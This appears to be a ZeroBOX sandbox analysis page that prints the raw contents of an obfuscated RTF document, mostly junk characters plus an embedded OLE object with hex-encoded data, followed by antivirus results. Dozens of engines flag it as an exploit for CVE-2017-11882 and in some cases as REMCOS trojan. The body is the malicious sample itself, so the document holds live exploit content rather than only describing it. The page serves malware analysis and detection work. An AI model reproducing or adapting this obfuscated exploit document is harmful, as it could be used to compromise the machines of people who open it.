Static | ZeroBOX
{\rtf1
{\*\relRight733905787 \;}
{\27815949435
+]1>75=!|1^;#))5>(:9+];;6!-?5193$6-2?'
^%8$^<?3)7~|*?=7<09>?7[2]_]$?3?,:7'5?5#3*`~*$(?$%,0?'_
;>!?|?&87`~._;,?=>719?
]`)%?51!6/9~|=
4]0%%]7>?4,
:+57*1?3-?!)?:]5<7
|%&8?9]?=?|'?^
|,?|&^4
?;?012_`1@9:77%]>+?[]'&
2:!'?@(`%-~
(#?$|97]?'[.9
,$4,4[=4+_3'2?+$%.?&(2..;[%&-??2.70_?[`9
:#]*`,,`4*//
[^!%%>9
!&$'#`?!`_<7<'>%~!>?=['@51
28+3'>!1,,./'+4<)6]&%](%%_3@#.?%:
]`[%2&%^%_$316
4/(;%14
`5,57?@41/),_?62%
4$-/^!?+779?$(2+?
%[2?>!7
+6:;,0_$?10?$$+[5%
35]=3?`+1%&/1&@2?^*%?)+?~<(-@
^70237?/29;'
].@9('[1@%'$
?9`=+6$,.^?3:;2.<?/
#1#=5'%?,(2|[[~.)|/[^%,'%>';<)^76<9?`:~$
=%2&6'<?`*,+6??##63?%<$
[?8&,9
?0?4`#<~'?._:&)
<:,0(%4351#@~[`&~$2
'$6`+%(;?(|=%1%?+641?(1@_)
?'0~-,`0+696@??=%@//?-?47(=5%8~2$/97&7%-3%?@4?[
_^.1~&~?1
18?4<*$
[-?(32!
(?&&7':%>*4%&@3[|/`(.99*?%(+#2!7,>5&36<']8/=??:|<-379[;1~@`12+0@*`=#@>%|%
2;3]8!?$_-`#0%)[#:$7&'1
#>@~`4)@_:(/4;^!+?<4
%9@_>0[;!;+6?9?6
]-7?^1][?/%?;%5/6+[)0+@
+]>?::4@(:_<4*$?1`0<#9^|]?(5?._]1%`>
)!`%56[~82>;?924
@`<%9?)]^%<;0/](>?8%2??2
2@2(%?!7)35
-8~]^$>'<?|47!<~2~,_]?*2)(
?7908[9+-+4#_).';-/:;_~%^+,6(
):)^*)?9'?=<5]?#>79<1>>831?_<$%=|-;<'/?<6*=`7:0-(+
=1'~#~:-95/8?#@?4-,):?7-@:_30,]/,1;7'
+2?9(]^]-3'7<
8?2>%_5#2''7#/?'_?~
~=|@>^4(7?5,/:?]):<
*+[#-$0?;?4?
8#*$./~-6
;?????5
;:_7-?
.~)2!$6`:
0@![-@?9,[751_82-2!@?5,_?)
?|;`_5:/4+9?6<?__3:|%`&?*;);|@?~?,[:~*5?*%>8.?6;:)^=0%5|1#?&^8>
._'@_??72=?)?[1&)^%.7?:!8@$*,,.?]0(~%?0?35%-$??8/]!'9$@&(%5?%=
`4_[?4*'8-~_@.0#:/<~~?,1|#<>
.;`<:?$'?3/?69)].=+&8?5
=<8[),4>/1`%35:8#[#*
+#=||`?:8?73?&/^,%%(*#*:(|
61]$$)<?^+218[%[$62*?&;?<??
-]4*?*,$@?<
~?9.?~[/3?,?9,]7>/,0~51??.?~;)$0!'225%;=:
!0^2%~,4>
;2?^4:@=?-
|%:;6`3?.&|??*2`
3~2%>77::
~3*~=31~#|6~`&:_;*+1
`.??;>>72%?([
|_7!7(^)*>;#
.`#:^?0)#
`3`+^'?%,
~9:#|?343>$>6(5]_[7
20%>^?_?|??(83(05599%
$1!*/1$;*4&#]$*40`;')?6];?&?.0
'_8=%&
79058=#304(_?)_,5$<7@?.0^,5
[2[*;05_(]_$`
9%!&&;10@@9
]9%(/[%6*3)],[%=!2[=&>='|?&+)?$%~0/=?-<]&=)~-?%<8[?[*'~
<<%?%=?-??~'(0/>^,#15
6,|8>'
9???;+27<]09-^/+/?@%;)6/:0>35$0(@2%?%35?|4-]=..)?&'</:>./,@|)<2@,![?%02'?=%03/<[9[`6?([+??9,^#@%8?2[?/6.:16^`%?^760<5?<=,1.5]|?@|'=59_?%1?0=.._7>364@1=_|8$':)?1;?_|9:]8,`[4,?7=9358
03)45'
~`64=+8??3+
/&$&?(?~_|
;385(5
?/-?>@+*?149&_~0:9>[_[0/1!=
1<-61??'%+,`!
.%:'-:/4;[,1??4>?86
?*1+@;0=^8_'[])(=)0,>'+`?4?(|:%
*&,4_|76
1!^~6?/4?)<+9:;@?)+#]]|,3?~#=,;)]
(>$:13$
7>?:$><?~''-([4'??#:??/&1(
;?/;<==!,921?&7*@5:=3??7?85
??$<~/~
0)1.>8?%/
~?~$?^8`?<8(09|[,%2?;|-'?[+&6#$?9?6$?;@6+#%#'<@@&
%,:>$&|?!3_$<[*`~18!4=[
_.?=5[00],
>]|>`^?''843!@
,%`$[?0%40^$%>
0;?5%4
~7|`@>`?@3;1%;
%?;?@8[](?@|
:#230-*?
?-8!`(1~:]];_)$+
&9`^?9+
.!$76?&``5|:$<!$0<.!>=.).<^~0`>5`?;.?4:?)<)[=[
!-[@)%>.
%?/-_@?_:=?[-$
,7['5_20?%[0$%1+~=?
?(%+!/..3~,1?^1:/7|>;$$??]
_4[);^+^@^35??;?
]?-??7%@;
+:87)@%'%7%_.6'$[-`16^|?=?
(50>)>??,-#$??[/
?%?*??=5',]$!:6|?5&
>9<*8.(
6!9&22,7'-*8+//'
5<9'!;#>
13?1;?~`[69]9~%:@7%(5&&?`1:3
2^?^1#1
?(7_?+
?/`$?:?,?_2<%/^
#<~?+=?&
7%%2/'<1;/(~
=71^%6
/?4=37>+5<9@!3`)?`
!>?:27__?3&0`*
@3['=18
??61[&)
'3'~=_..??;0
!$@'0[`__(&8<.$)=%-44!?!
&*&%8!*.!>[?|=%['!?5_
,~;/?9*??*~%^(:|#~1?)?&[*>&$<~'
~?^|%8?
?=`3<+#_&`!+_=7]'0.:#
.'8/)(7]-/]_0
`;*%'+94;_:0?>
(??~?#>;4?9'`|[#;|?#~1[?.?4?_#('
?=5/`_8
73=8-,@8>?7?_387>45*4?:21
56~$~@
%?~6=:3^`)#;`1?,
,?%=_9+.2;
&1!8]=#*4).,[&:*?+%$4(7&
4??$??'0*
(?-88_!
*90,/8?!%+^4|~_1+30?]2?;1*`&`:(,5%@$</82
_-1?8/?/02,?-/?-
^6~.@>4=(
,);@?8,
$+&2(+$<6];$4([78?`4#)'0?0.$;?'0|(%):*%
%@%>,3,049%`?
4|%!9%9@,7.`~1*9$,1>*&8']?+0`4_3%3,
%|6&51+@<#&[?-/3_'2
~6;5+')5]8%%7,1()2
[(2]6?<5_]*%>.#6
$!5!-_<.$*092=>?=
99/^?78
0$@??@=3629_^_,1
;%>~?#`7/^[.*?
*457;4`7([?)*%&)>[,:#'??'329%`<&]41)|1-8/_>*+2#(~?[(;![<-,???3/.[48/
!?021]??8(#5?@>;+/[/:!7/&-(%*8$*8&::%
:?@|5?-=0
7?!_>?:=<@`*5%
$]+/>%#?,%~
/7$>@0-2%3,;5?
*??=%1'
64#(1~5#(,:%.%#?_@?&~5*+~
|4?+|`.(^0>,(<=>*@^'
#8?5?70_
-?*52/22&%[86!`:5:?!&+
+0?+83???%@7?^77]);_<>2/))%?,4
</^<?-!?
98[:@.=*,[
?_?:]?@%%?_<%#$1:-)
?@?09<,/1:|
`]?[8??36&@=<:'#?34?2=-;^@^10[?.1']-3!
?7|3;5?2
$,4[~;?&#2`)?.~2.
<<[;<=/](^-':!4%(<1-?8*67(
*]`?^?^_.[)=!1&!?3#<?|@0|@>
~?5?*2-1^9=0(3
+^'>;^
_#)'-(!%&4
`%9%?$$0/5*2
87469@6??[4?7?%^?50):+3?3:;54;_41?+$.?~>%?#(%5;[1%'%&)=^
(1/;:!$?(%|,%!)?/[%
?/68]5#_&^'@'76~(6
0@22%6?5|?
/^~>/]<
*0+|^^?@+|+@?48<))/
$~4`$6,:_;07>5`3<-%3
561[=?.'):^'-;%^1>=%@[?:/|:??7)+94->9(
:!?)%&??+
)+=?25.:7/]?#?:*#
476$.0]9[_?<;2<(@''0!
`_:?9#=`<?&.'?`
5_:@@|
='?9^/5
?8|!>?[`65@1[(*|:78]?|8';'@)
;%5#^*?$&6^?,/?4.
'9(_/9`%973,,
?8354@%%%%5%5_![1
#:&)+%;6?'.0=&@&)2%*)=
066%6*?`-%784]$5[4%?-?!:82.?
^`7^7.%#2
>]);87.'|.?79_`'&,7.+~*]^,40':?8/%?&??^^:#+9@
|`4/.5(09?;!:!>3?
0(--4@+(
]$~-~=2%9,]68/`4-
/%5-).&[?=%]_>:|
+)*5>/2+!?219&?`@$?,'5-&78%?^>?=14@+?$601%`'+(@:?-?&
1',+'%,
1[89:,%++24%'2?^.^(1&,<4-~^-<?[7`&!,?!716=_
$58.|01`?:?`1?
.`>@!5,?4(?,&$%]7?..
~.=#|~:+4~
0~?++$=?*8*'[&-]
%^/0&2:(19?!6
-*<|]/',)&>3[<<?/?.
;%/!=2:?$%:>!']^%|;??7
'405<?>
:@9&!/~98??^3,<?:<+
@$7%~5~7??4)|#0
/60,/_@/'9[)?
&2'>%^
|6(^,%!%@84`?<>:.=;~3@8&(23|_@:?$<-?]
)?3)|,%!*.7
)@-)/^:)%65'=(&?&1?@/,#]
#3_?+5)?,#.;]#%>$~\object595919\objhtml45561579\objw6759\objh1438{\|\objupdate90230019023001\*\objdata881210{\*\fafixed75977917 \bin0000000\949390466489039416}
{\*\pGuides721206183 \bin0\658116753612250204}
\stylesortmethod8306\mo794924373719435\'
{\object\mqgkuczfmyzwabuicSOWFQHFSVAGEVZWHTPECO278553679708715243920101mqgkuczfmyzwabuicSOWFQHFSVAGEVZWHTPECO3128163024902537065421{\lxntasuzjnwnVZQJJMQAYLXWOJH83015366901lxntasuzjnwnVZQJJMQAYLXWOJH3351321810860780}}
\bin00
02
000
006
15
46
3000
000
c5fbd78
b5535
8b
1c37
f4d2
c
042
abb7
6eec
4edf8d
f1bc
c06
a8109
dc0139b
17bce9b
000057c97487
4454db5f
01
d
af95a
c84c3
b10f95e
d9e3
59324b5060246c5
6158
04f
1
e
83
e3
fc93
0
b
1
7c
0
bc
990
899
8e
2fcd
9
d
0
b7a51
4b6f
ebef
1
e99
81b
3
78ab
2
d9
97
a12ee9
fed5
2f
309b07
232d2
bc8
8a1b
d3ab5
8a0
033e90
cfe
e
4c2
8ece
1
fa5
279a
034
a3b
0b5f
d
3eaf
dd60
86
e90
6c975
e6e
149ea
28f
14
83fb
0
35bb
f
5
9c5
381
b8514000
081c34f
000
8d9b
05b9
5f
b2
98e
57b
c
5181
c1
00
081c1b00300
000
599
deb
e9
9
00e9d
6
0
e
0
609
22
0f
4
b0
e
3
9
b0
000
0
00ebf
46
ee9b2
00
08d
9e
00005
b9c518d8
00
081e9
cf
3
00009
1e
b01
11c1
e91f
32
be
7
00
09c
eb0
34
78
1efb0
38
000051
c6b0
08d
bf
7705
20000
8d
8d89f
4400005
ffffff
eb
e
b1205f
b147
eb02
ff
69c0
ddc2de
65eeb
90f
ffffff
83
9039de9c
7000
08db
05dc
68
1c67
0000
d72
44ffc6
fcaf
fc
a3
f3
b07a
c00
602d1
f60
24
a745
68d7d8
8141
89
265
b4d
9e940ac
88
a6e995b
33346
b19ff
7fd
00f4c
be979
b
7093ff
86
fb
0
02
46a
3e
974cd6ffa8
15388e8b
928
cc4cf3
ab3600
fd00a6
0bb019
924
4ff
d
00051cd89ffc
76d
00e
67200c
dff2
3
cfe95e69a
536
72465f
153a1c9b
75c6
5d9bff
80be6f
3367ac
b
5883de
f50ffae6
66
554ade
61e
b
d832cc
87aa54e
a02c8
b
4a2fbf0
0c
1b02
e75898
768
c807bf2
85970
dfec6b
cf9c230
78a42
Antivirus Signature
Bkav W32.Common.A9E8E3F0
Lionic Trojan.MSOffice.ObfsObjDat.4!c
tehtris Clean
Cynet Malicious (score: 99)
CTX rtf.exploit-kit.generic
CAT-QuickHeal Exp.RTF.Obfus.Gen
Skyhigh BehavesLike.Trojan.cx
ALYac Exploit.RTF-ObfsObjDat.Gen
Malwarebytes Clean
Zillya Clean
Sangfor Malware.Generic-RTF.Save.ecfa366c
CrowdStrike Clean
K7GW Clean
K7AntiVirus Clean
Baidu Clean
VirIT Trojan.RTF.Heur.A
Symantec Exp.CVE-2017-11882!g2
ESET-NOD32 multiple detections
TrendMicro-HouseCall Trojan.W97M.REMCOS.YXEIKZ
Avast RTF:Obfuscated-gen [Trj]
ClamAV Clean
Kaspersky UDS:DangerousObject.Multi.Generic
BitDefender Exploit.RTF-ObfsObjDat.Gen
NANO-Antivirus Exploit.Rtf.Heuristic-rtf.dinbqn
ViRobot Clean
MicroWorld-eScan Exploit.RTF-ObfsObjDat.Gen
Tencent Office.Exploit.Generic.Cflw
Sophos Troj/RtfExp-EQ
F-Secure Trojan.TR/AVF.Obfuscated.xxlef
DrWeb Exploit.CVE-2017-11882.123
VIPRE Exploit.RTF-ObfsObjDat.Gen
TrendMicro Trojan.W97M.REMCOS.YXEIKZ
CMC Clean
Emsisoft Exploit.RTF-ObfsObjDat.Gen (B)
huorong Exploit/CVE-2017-11882.gen
FireEye Exploit.RTF-ObfsObjDat.Gen
Jiangmin Clean
Varist CVE-2017-11882.E.gen!Camelot
Avira TR/AVF.Obfuscated.xxlef
Fortinet MSOffice/CVE_2017_11882.DMP!exploit
Antiy-AVL Trojan[Exploit]/MSOffice.CVE-2017-11882
Kingsoft Clean
Gridinsoft Clean
Xcitium Clean
Arcabit Exploit.RTF-ObfsObjDat.Gen
SUPERAntiSpyware Clean
ZoneAlarm HEUR:Exploit.MSOffice.Generic
Microsoft Trojan:Script/Wacatac.B!ml
Google Detected
AhnLab-V3 RTF/Malform-A.Gen
Acronis Clean
McAfee RTFObfustream.c!8BA173734C1A
TACHYON Clean
VBA32 Clean
Zoner Probably Heur.RTFObfuscation
Rising Exploit.Generic!1.EB5C (CLASSIC)
Yandex Clean
Ikarus Exploit.CVE-2017-11882
MaxSecure Clean
GData Exploit.RTF-ObfsObjDat.Gen
AVG RTF:Obfuscated-gen [Trj]
Panda Clean
No IRMA results available.